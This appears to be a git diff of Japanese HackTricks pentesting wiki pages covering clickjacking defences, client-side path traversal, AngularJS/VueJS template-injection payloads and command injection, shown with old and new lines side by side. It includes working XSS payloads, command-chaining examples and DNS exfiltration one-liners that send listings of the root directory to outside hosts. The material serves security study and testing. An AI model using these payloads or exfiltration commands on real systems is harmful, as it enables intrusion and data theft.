\_\_攻撃者は、そのページに**Clickjacking**攻撃を準備し、**XSSペイロード**を**フォームに事前に埋め込み**、**ユーザー**をだまして**フォームを送信**させる可能性があります。そのため、**フォームが送信され**値が変更されると、**ユーザーがXSSを実行**します。 \_\_攻撃者は、そのページに対して**Clickjacking**攻撃を準備し、**XSSペイロード**を**フォームに事前に埋め込み**、**ユーザー**をだまして**フォームを送信**させることができます。そのため、**フォームが送信され**値が変更されると、**ユーザーがXSSを実行**します。
## Clickjackingの緩和戦略 ## Clickjackingの緩和戦略
@ -133,7 +133,7 @@ _アカウントの一部のプライベート詳細**あなただけが設
```html ```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe> <iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
``` ```
### サーバーサイドの防御 ### サーバーサイドの防御
#### X-Frame-Options #### X-Frame-Options
@ -146,11 +146,11 @@ _アカウントの一部のプライベート詳細**あなただけが設
#### Content Security Policy (CSP)のframe-ancestorsディレクティブ #### Content Security Policy (CSP)のframe-ancestorsディレクティブ
Clickjacking保護のために**CSP内の`frame-ancestors`ディレクティブ**が推奨される方法です: CSP内の**`frame-ancestors`ディレクティブ**はClickjacking保護の推奨される方法です:
- `frame-ancestors 'none'` - `X-Frame-Options: deny`に類似 - `frame-ancestors 'none'` - `X-Frame-Options: deny`と同様
- `frame-ancestors 'self'` - `X-Frame-Options: sameorigin`に類似 - `frame-ancestors 'self'` - `X-Frame-Options: sameorigin`と同様
- `frame-ancestors trusted.com` - `X-Frame-Options: allow-from`に類似 - `frame-ancestors trusted.com` - `X-Frame-Options: allow-from`と同様
たとえば、次のCSPは同じドメインからのフレーミングのみを許可します たとえば、次のCSPは同じドメインからのフレーミングのみを許可します
@ -158,13 +158,13 @@ Clickjacking保護のために**CSP内の`frame-ancestors`ディレクティブ*
詳細や複雑な例は、[frame-ancestors CSPドキュメント](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)および[MozillaのCSP frame-ancestorsドキュメント](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)で見つけることができます。 詳細や複雑な例は、[frame-ancestors CSPドキュメント](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)および[MozillaのCSP frame-ancestorsドキュメント](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)で見つけることができます。
### `child-src`および`frame-src`を使用したContent Security PolicyCSP ### Content Security Policy (CSP)の`child-src`および`frame-src`
**Content Security PolicyCSP**は、ブラウザがコンテンツの読み込みを許可するソースを指定することで、Clickjackingやその他のコードインジェクション攻撃を防ぐセキュリティ対策です。 **Content Security Policy (CSP)**は、ブラウザがコンテンツの読み込みを許可するソースを指定することで、Clickjackingやその他のコードインジェクション攻撃を防ぐのに役立つセキュリティ対策です。
#### `frame-src`ディレクティブ #### `frame-src`ディレクティブ
- フレームの有効なソースを定義します。 - フレームの有効なソースを定義します。
- `default-src`ディレクティブより具体的です。 - `default-src`ディレクティブより具体的です。
``` ```
Content-Security-Policy: frame-src 'self' https://trusted-website.com; Content-Security-Policy: frame-src 'self' https://trusted-website.com;
``` ```
@ -193,7 +193,7 @@ top.location = self.location;
``` ```
#### Anti-CSRFトークンの利用 #### Anti-CSRFトークンの利用
* **トークンの検証:** WebアプリケーションでAnti-CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われ、Clickjackedページを介して行われていないことを確認します。 * **トークンの検証:** WebアプリケーションでAnti-CSRFトークンを使用して、状態を変更するリクエストがユーザーによって意図的に行われ、Clickjackedページを介して行われないようにします。
## 参考文献 ## 参考文献
@ -204,20 +204,20 @@ top.location = self.location;
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください: 今すぐアクセス:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary> <summary><strong>**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -1,33 +1,23 @@
# クライアント側のパストラバーサル # クライアントサイドパストラバーサル
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! HackTricksをサポートする他の方法
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
## 基本情報 ## 基本情報
クライアント側のパストラバーサルは、URLのパスを**操作できる**ときに発生します。このURLは、ユーザーが**正当な方法で訪れるために送信される**か、ユーザーが何らかの方法で**強制的に訪れる**ことになりますたとえば、JSやCSSを介して クライアントサイドパストラバーサルは、**URLのパスを操作できる**ときに発生します。そのURLは、ユーザーが**正当な方法で訪れるために送信される**か、ユーザーが**例えばJSやCSS経由で強制的に訪れる**可能性があります
[**この解説記事**](https://erasec.be/blog/client-side-path-manipulation/)では、**招待URLを変更**してカードを**キャンセル**することができました。 [**この解説**](https://erasec.be/blog/client-side-path-manipulation/)では、**招待URLを変更**して**カードをキャンセル**することが可能でした。
[**この解説記事**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html)では、**クライアント側のパストラバーサルCSSを介してCSSリソースの読み込み先のパスを変更することができる**と**オープンリダイレクト**を組み合わせて、CSSリソースを**攻撃者が制御するドメイン**から読み込むことができました。 [**この解説**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html)では、**クライアントサイドパストラバーサルをCSS経由で組み合わせることが可能**でありCSSリソースが読み込まれるパスを変更することができました、**オープンリダイレクト**を組み合わせて、CSSリソースを**攻撃者が制御するドメインから読み込む**ことができました。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,29 +1,29 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
- **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに。 * **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
</details> </details>
# 概要 # 概要
これは**サーバーサイドテンプレートインジェクション**ssti-server-side-template-injection/)のようですが、**クライアント**側で行われます。**SSTI**はリモートサーバーで**コードを実行**することを可能にする一方、**CSTI**は被害者で**任意のJavaScriptコードを実行**することを可能にします。 これは**サーバーサイドテンプレートインジェクション**ssti-server-side-template-injection/)の**クライアント**版です。**SSTI**はリモートサーバーで**コードを実行**できる可能性がありますが、**CSTI**は被害者で**任意のJavaScriptコードを実行**できる可能性があります。
この脆弱性を**テスト**する方法は、**SSTI**の場合と非常に**類似**しています。インタプリタは**二重のキーの間に実行するもの**を期待し、それを実行します。たとえば、`{{ 7-7 }}`のようなものを使用すると、サーバーが**脆弱**であれば`0`が表示され、そうでなければ元の`{{ 7-7 }}`が表示されます。 この脆弱性を**テスト**する方法は、**SSTI**の場合と非常に**類似**しています。インタプリタは**ダブルキーの間に実行するもの**を期待し、それを実行します。たとえば、`{{ 7-7 }}`のようなものを使用すると、サーバーが**脆弱**であれば`0`が表示され、そうでない場合は元の`{{ 7-7 }}`が表示されます。
# AngularJS # AngularJS
AngularJSは広く使用されているJavaScriptフレームワークで、**`ng-app`**などのディレクティブとして知られる属性を介してHTMLとやり取りします。このディレクティブにより、AngularJSがHTMLコンテンツを処理し、二重中括弧内でJavaScript式を実行できるようになります。 AngularJSはHTMLとやり取りする広く使用されているJavaScriptフレームワークで、**`ng-app`**などのディレクティブとして知られる属性を介してHTMLとやり取りします。このディレクティブにより、AngularJSがHTMLコンテンツを処理し、二重中括弧内でJavaScript式を実行できるようになります。
ユーザー入力が`ng-app`でタグ付けされたHTML本文に動的に挿入されるシナリオでは、任意のJavaScriptコードを実行することが可能です。これは、入力内でAngularJSの構文を活用することで実現できます。以下に、JavaScriptコードを実行する方法を示す例があります ユーザー入力が`ng-app`でタグ付けされたHTML本文に動的に挿入されるシナリオでは、任意のJavaScriptコードを実行できます。これは、入力内でAngularJSの構文を活用することで実現できます。以下に、JavaScriptコードを実行する方法を示す例があります
```javascript ```javascript
{{$on.constructor('alert(1)')()}} {{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}}
@ -35,7 +35,7 @@ AngularJSは広く使用されているJavaScriptフレームワークで、**`n
非常**基本的なオンライン例**は、[http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)で**AngularJS**の脆弱性を見つけることができます。また、**[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**でも確認できます。 非常**基本的なオンライン例**は、[http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)で**AngularJS**の脆弱性を見つけることができます。また、**[Burp Suite Academy](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)**でも確認できます。
{% hint style="danger" %} {% hint style="danger" %}
[**Angular 1.6はサンドボックスを削除しました**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) したがって、このバージョンから、`{{constructor.constructor('alert(1)')()}}`や`<input ng-focus=$event.view.alert('XSS')>`のようなペイロードが機能するはずです。 [**Angular 1.6はサンドボックスを削除しました**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:\~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.\&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.)ので、このバージョンから`{{constructor.constructor('alert(1)')()}}`や`<input ng-focus=$event.view.alert('XSS')>`のようなペイロードが機能するはずです。
{% endhint %} {% endhint %}
# VueJS # VueJS
@ -54,9 +54,9 @@ VUEにおけるCSTIに関する非常に良い投稿は、[https://portswigger.n
``` ```
{{_openBlock.constructor('alert(1)')()}} {{_openBlock.constructor('alert(1)')()}}
``` ```
## **V2** Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
信用: [Gareth Heyes、Lewis ArdernPwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ## **V2**
``` ```
{{constructor.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}}
``` ```
@ -89,14 +89,14 @@ javascript:alert(1)%252f%252f..%252fcss-images
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**をフォローする。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローする。**
* **HackTricks**https://github.com/carlospolop/hacktricksおよび**HackTricks Cloud**https://github.com/carlospolop/hacktricks-cloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>

View file

@ -4,30 +4,30 @@
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で **フォロー**する。
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** * **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築**および **自動化** します。\
今すぐアクセスを取得 今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## コマンドインジェクションとは? ## コマンドインジェクションとは?
**コマンドインジェクション**は、攻撃者がアプリケーションをホストするサーバーで任意のオペレーティングシステムコマンドを実行できるようにするものです。その結果、アプリケーションとそのすべてのデータが完全に危険にさらされる可能性があります。これらのコマンドを実行することで、通常、攻撃者はアプリケーションの環境や基礎となるシステムに対して未承認のアクセスや制御を獲得することができます。 **コマンドインジェクション** は、攻撃者がアプリケーションをホストするサーバーで任意のオペレーティングシステムコマンドを実行できるようにするものです。その結果、アプリケーションとそのすべてのデータが完全に危険にさらされる可能性があります。これらのコマンドの実行により、通常、攻撃者はアプリケーションの環境や基礎となるシステムに対して不正アクセスや制御を獲得することができます。
### コンテキスト ### コンテキスト
**入力がどこにインジェクトされているか**によっては、コマンドの前に**クォートされたコンテキストを終了する**必要がある場合があります(`"`または`'`を使用)。 **入力がどこにインジェクトされているかによって**、コマンドの前に **クォートされたコンテキストを終了する**必要がある場合があります(`"`または`'`を使用)。
```bash ```bash
#Both Unix and Windows supported #Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -106,7 +106,7 @@ sys 0m0.000s
``` ```
### DNSベースのデータエクスフィルトレーション ### DNSベースのデータエクスフィルトレーション
`https://github.com/HoLyVieR/dnsbin`からのツールに基づいて、dnsbin.zhack.caでもホストされています。 ツールは `https://github.com/HoLyVieR/dnsbin` から入手可能で、dnsbin.zhack.ca でもホストされています。
``` ```
1. Go to http://dnsbin.zhack.ca/ 1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls' 2. Execute a simple 'ls'
@ -116,6 +116,11 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
``` ```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
``` ```
DNSベースのデータエクスフィルトレーションをチェックするためのオンラインツール
* dnsbin.zhack.ca
* pingb.in
### フィルタリング回避 ### フィルタリング回避
#### Windows #### Windows
@ -146,9 +151,9 @@ HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>
@ -156,6 +161,6 @@ HackTricksをサポートする他の方法
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -2,15 +2,15 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または [**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
